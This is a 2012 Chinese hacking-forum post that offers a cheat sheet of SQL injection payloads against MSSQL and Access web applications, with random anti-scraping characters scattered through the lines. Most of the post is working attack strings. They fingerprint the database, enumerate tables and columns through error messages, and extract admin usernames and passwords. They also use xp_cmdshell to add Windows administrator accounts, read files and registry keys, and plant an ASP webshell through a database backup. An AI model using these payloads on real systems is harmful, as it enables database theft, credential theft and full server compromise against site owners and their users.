找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1925|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ' |2 G, B# q7 X8 M$ e
;and 1=1 # c% Y( _9 [* x
;and 1=2
) ^9 G" p: l* ^4 [' `8 O" t- Z6 j- m2 p! Y8 F* T
2.初步判断是否是mssql * M/ g$ ?$ b! B) B3 q% t
;and user>0 ) i1 n1 x  |( V
* n$ I, t" t5 B0 o9 C
3.判断数据库系统 9 l7 N$ W. Z% Q  w7 C
;and (select count(*) from sysobjects)>0 mssql . D, O/ q; D6 a$ }
;and (select count(*) from msysobjects)>0 access
, x: q4 P/ Y0 e' L) q% f3 R2 S; l& N/ r4 {4 D
4.注入参数是字符 4 X! d4 y5 H  R" w! g
'and [查询条件] and ''=' 5 g1 h; L; U/ g. }& m
. p! ?7 @8 `: ^5 w4 d  n
5.搜索时没过滤参数的 " ]" O8 i! |9 ?; i9 N! @' X
'and [查询条件] and '%25'=' * R$ F4 u$ ~$ g: R: g0 |

' D( p# h* ^% F1 M- ?. p6.猜数表名
4 |9 j. P7 q# l+ ^" k+ C, q8 K;and (select Count(*) from [表名])>0 , e- V$ @. [! O% E" a0 O9 W

9 o; }) x9 o. v7.猜字段 - P; ]- {3 j& P$ l0 Z0 X
;and (select Count(字段名) from 表名)>0 3 s; L0 g/ T1 l8 C- V8 J6 V" N2 @4 I

6 j) |3 f/ I  ?  \+ I8.猜字段中记录长度 5 Z& v# x: N  D' N+ }) @8 O
;and (select top 1 len(字段名) from 表名)>0
( V! p' N" ?8 ?; i& _  S
. O5 M, N7 S; m9.(1)猜字段的ascii值(access) 8 u; A- c. a/ w( X  g4 w4 Q2 {( o
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 9 L; D& |+ C0 k; }) G: c9 O6 F* \

+ X" V* a+ o9 G& W6 Z/ G# u(2)猜字段的ascii值(mssql) : V! `9 R5 h4 [9 t5 K% L
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 # z" p' M: t0 ?2 l
( z1 q, ]- D4 M
10.测试权限结构(mssql)
" L9 l4 g6 D5 v! b7 a. {;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # {- m% p+ b5 d. |! O# w0 i
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . G* X- A/ m; @  ]) o
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
7 J: ^  v+ s% C9 f' ?5 m7 s( w;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
+ z- u+ O" u; i* W5 J7 u;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ ]; O" a# f' B% d;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # Z3 q, V) K% I* w+ V1 x
;and 1=(select IS_MEMBER('db_owner'));--
' n. T7 K0 {8 \3 b* @8 v% q# ?( w9 \' j7 {
11.添加mssql和系统的帐户
+ C5 S$ q: c  v4 g$ R) ];exec master.dbo.sp_addlogin username;-- ' W# S% l1 h1 ]. r$ i
;exec master.dbo.sp_password null,username,password;--
% C2 I- o! @1 _; T3 t" A; A;exec master.dbo.sp_addsrvrolemember sysadmin username;-- # `' v2 h, t; J
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
0 S3 s: N" {+ m: L7 T; |4 _;exec master.dbo.xp_cmdshell 'net user username password /add';--
# D- [) J8 Z4 R# I& W$ j; R" i;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- , Y2 `# J7 E5 l& F  R+ K$ L
1 Y( g/ }. U$ L
12.(1)遍历目录
) t3 \) K. O8 N2 q;create table dirs(paths varchar(100), id int) 5 G3 t  P5 B0 q" `+ C9 W- q
;insert dirs exec master.dbo.xp_dirtree 'c:\' . J% J# M8 q# j1 Q* i
;and (select top 1 paths from dirs)>0 1 ^5 i/ K" b3 J1 G4 D" b; ~  X
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ; m: B' m9 a& t* |1 q, @8 C

) K# {0 Q! w6 h# X" u(2)遍历目录 * W$ p* `6 ]9 {* u+ |, W6 R
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " `! t; V. H  }- _/ L8 d
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $ J9 d" d6 o: _: D7 N5 f$ c8 J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9 Z" P( ], o! s# J& P
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ) ~, w# i3 p9 N. T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 f7 m' l/ [1 `' X; W8 B; \
6 ^0 F3 n  a- r% K4 ~
13.mssql中的存储过程 5 r' R; ]% E7 R2 D5 X
xp_regenumvalues 注册表根键, 子键 5 {; g4 R/ A0 [3 _* R* Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 + x+ T8 A6 q3 z$ s+ r" t
xp_regread 根键,子键,键值名 ' m) t' W8 x- d$ q3 u
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
9 ?% p. A$ z9 wxp_regwrite 根键,子键, 值名, 值类型, 值 " k7 e: V4 f" R% N% p( r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
* ~3 T5 C% h  q8 |1 K) S6 E  x3 O;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! [* c( C) S. K) w9 f# I: E6 H
xp_regdeletevalue 根键,子键,值名
+ Z, |6 d" d5 t9 @  U) M# jexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ; M" `" K7 T- F! D; j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6 k+ x8 j' t- N1 z+ r9 s# R9 @/ r* V$ K

* N# Q1 H4 z$ Q( L14.mssql的backup创建webshell
# W7 Q1 i) h" Luse model
- x9 a9 }; [% Y) ucreate table cmd(str image); $ l# ~. K  }3 H/ R: i1 B" b8 }
insert into cmd(str) values ('<% Dim oScript %>'); . |1 {5 {) b2 S+ R+ C
backup database model to disk='c:\l.asp';
5 N, E. d* D5 D, e' n5 L, `! l! A7 G8 k+ w
15.mssql内置函数
: X  x- C! f8 b;and (select @@version)>0 获得Windows的版本号
4 K# H7 q) a# n+ T5 {5 n9 S;and user_name()='dbo' 判断当前系统的连接用户是不是sa
% ^* @- C8 i, c2 y' q; u;and (select user_name())>0 爆当前系统的连接用户
: v- Y. D$ h. q! B* [' a. `+ U;and (select db_name())>0 得到当前连接的数据库
) Z9 L' M3 R' N) O& C
3 a8 R) H2 A8 u+ u! C, E. a$ t7 k, ~& z" T. @
2 Y- S# c! M+ c, d$ Y
MSSQL手注暴库7 O0 a9 R2 r8 o5 M/ U% ^4 A" B

% G0 z! F- ]% q* f: j* m0 w1.暴出当前表名和列名
% N( S9 r7 B/ ?7 I& p在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。" P+ [3 p8 C6 |: p% n# Q: E% k( R" Z7 n

0 m* D: [9 M5 N" x/ j3 b) Y第一.爆出所有数据库名% Y, B# D3 r! \4 W. i
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
: z! @* X0 ?! h6 h第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
7 B! Y& [. }# w+ }6 Y7 Y! N* {! G' i! L8 b. ?
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名2 O: z2 _5 B& q  z' @& }
" y. H5 p% s' k

8 E" f2 d+ F$ i2 I第二.爆出指定库中的所有表名( L; f& ]4 j4 B  X1 @5 q
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
! x+ x7 M% P, G. @5 |" S1 i4 c再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。, [! F4 ]9 k6 |5 d4 [

2 X  s! D% `4 F5 A1 nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--) @& H( i( n9 D* Z! m7 G
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--" \$ z, H6 `% o! J: ?" D3 R
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
3 T+ s' y+ r5 P8 G, b# G# L. T! x( W& W. |* y& f
4.爆出指定表中的所有列名
* t1 I2 h. i2 Yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) - F% S3 E/ G# D  L1 O5 ~
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
: _- l& `$ e$ E% q5 z& g  C) s- r: j: k) F' t% m9 P
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
: D3 C/ [0 m+ u) l! Q+ f+ J  B( S+ H* z1 B$ t
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
* N! b- l$ o1 |0 r% o  U6 k依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。2 K# x( i4 `, Q& s8 X  x& \; c

# n# k  M, Y8 v% Y
- z* W1 |, X( o( C% n/ O* E, pand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值7 f. k* H' r$ [; g% J7 J
8 y# ^3 P8 ^) L, G% D
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
# V. }3 I% ~$ E8 F* }2 }  v) q$ `; H( M7 ?: G1 @7 A9 |
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
% a* |; z- O+ s5 r$ i( g7 ]3 i1 u5 ~/ L* `
  P* H, {2 x3 C4 G8 I0 P0 l
$ C5 N" O& z1 |8 N( ?. s& a" t
5.读取指定表中的数据
, r0 E- b/ l6 ^$ ]- b  @0 N! J5 E/ l1 H
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 l0 |" z4 E  r  i

  {' t  k" b8 N1 i3 u% x: x( T8 W2 Nand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--4 R" G# V0 I& k9 f+ d( q$ g
! \4 M; s2 d3 N# _; ~0 n
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码7 |5 N2 P9 |1 |) D# P  s

* l* Q6 z0 _, G9 t. C: i$ [
# i" C. }- n, L2 Y- F3 B$ T0 _and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)- t6 \/ x/ C4 j5 ]
; x/ A6 N- G7 O- k; m
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)9 r! h, \, P6 d+ N% O

' i  o4 J; d9 G. X& A6 S" N0 L8 Wand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--5 y; c3 p1 ~" u& C5 q

0 i- U9 U: k0 m知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。! L( d' B$ h: m& ~( ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表